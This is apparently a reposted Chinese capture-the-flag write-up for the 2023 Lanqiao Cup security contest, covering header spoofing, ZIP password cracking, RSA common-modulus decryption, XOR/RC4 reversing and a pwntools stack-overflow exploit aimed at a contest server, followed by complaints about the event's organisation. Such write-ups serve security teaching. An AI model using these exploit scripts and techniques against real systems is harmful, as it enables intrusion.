2023年蓝桥杯网络安全大赛
[TOC]
WP部分
怎么说呢因为蓝桥杯网络安全赛事的一些奇怪操作我没有报名,队内大佬参加并拿到了非常优秀的成绩,这是直接转的人家WP
情报收集
禁止访问
根据源代码提示,HackBar直接修改请求头Client-IP:
数据分析
ZIP
WireShark找到flag.zip:
发现需要解压密码,压缩包备注里告诉了密码的格式。使用ARCHPR破解:
密码破解
CyberChef
到Cyberchef,先ROT13(好像就是凯撒密码,解密时Amount需要调整),然后解Base64:
RSA
RSA共模攻击:
代码语言:javascript复制from Crypto.Util.number import *
import gmpy2
import random
random.seed(123456)
e1 = random.randint(100000000, 999999999)
e2 = 65537
n =
7265521127830448713067411832186939510560957540642195787738901620268897564963900603849624938868472135068795683478994264434459545615489055678687748127470957
m1 =
3315026215410356401822612597933850774333471554653501609476726308255829187036771889305156951657972976515685121382853979526632479380900600042319433533497363
m2 =
1188105647021006315444157379624581671965264301631019818847700108837497109352704297426176854648450245702004723738154094931880004264638539450721642553435120
gcd, s, t = gmpy2.gcdext(e1, e2)
if s < 0:
s = -s
m1 = gmpy2.invert(m1, n)
if t < 0:
t = -t
m2 = gmpy2.invert(m2, n)
m1 = gmpy2.powmod(m1, s, n)
m2 = gmpy2.powmod(m2, t, n)
m = m1 * m2 % n
flag = long_to_bytes(m)
print(flag)
逆向分析
RC4
直接IDA动态调试,在main函数return时,可以看到原来变量v5的内容经过RC4被改成了flag:
XOR
程序将明文和key进行异或,我们直接将密文再异或一次就得到flag。
exp:
代码语言:javascript复制key = 'SEcRET7'
enc = [0x35, 0x29, 0x02, 0x35, 0x3E, 0x35, 0x0F, 0x60,
0x20, 0x06, 0x64, 0x26, 0x65, 0x1A, 0x61, 0x77,
0x5A, 0x64, 0x68, 0x60, 0x53, 0x60, 0x20, 0x4E,
0x6B, 0x21, 0x67, 0x54, 0x7E, 0x71, 0x51, 0x64,
0x75, 0x60, 0x51, 0x64, 0x73, 0x05, 0x65, 0x21,
0x61, 0x4A]
for i in range(len(enc)):
enc[i] ^= ord(key[i % 7])
for x in enc:
print(chr(x), end='')
漏洞挖掘分析
栈溢出
gets函数栈溢出漏洞,直接修改返回地址为后门函数即可:
代码语言:javascript复制from pwn import *
context(arch = 'amd64', os = 'linux', log_level = 'debug')
# p = process('./pwn')
# libc = ELF('../../glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc.so.6')
p = remote('101.200.77.68', '12451')
# libc = ELF('./libc-2.27.so')
def dbg():
gdb.attach(p)
pause()
se = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
rc = lambda num :p.recv(num)
rl = lambda :p.recvline()
ru = lambda delims :p.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, b'x00'))
uu64 = lambda data :u64(data.ljust(8, b'x00'))
info = lambda tag, addr :log.info(tag " -> " hex(addr))
ia = lambda :p.interactive()
backdoor = 0x4011B1
payload = b'B' * 0x20 b'deadbeef' p64(backdoor)
p.sendline(payload)
ia()
杂谈:
以下为个人观点
今年的蓝桥杯可以说是破事一堆,作为网安这边第一个交钱比赛的赛事,第一个双机位监考同时设有监考老师,禁止查外网,甚至禁止pip的比赛,今年的蓝桥杯网安都有开创性的意义
如果我没记错的话,第一次定的时间是5月27-28,然后果不其然跟CISCN撞了,之后改时间啥啥的作为一个看乐子的人倒是看了个尽兴,同时今年一些高校,在与蓝桥杯合作的高校在没有接触过CTF的同学们中宣传本届蓝桥杯网络安全大赛…….
最后的结果已经是省赛能做一道题就能稳定三等奖了,团队中全栈大佬甚至在比赛中短暂登顶初赛第一,最后前五十,因为蓝桥杯在算法那边的名声在外还真有一些没接触过CTF的兄弟报名了蓝桥杯网络安全大赛,最后0解饮恨
只能说不好评价也不想评价,蓝桥杯赛事主办方你开心就好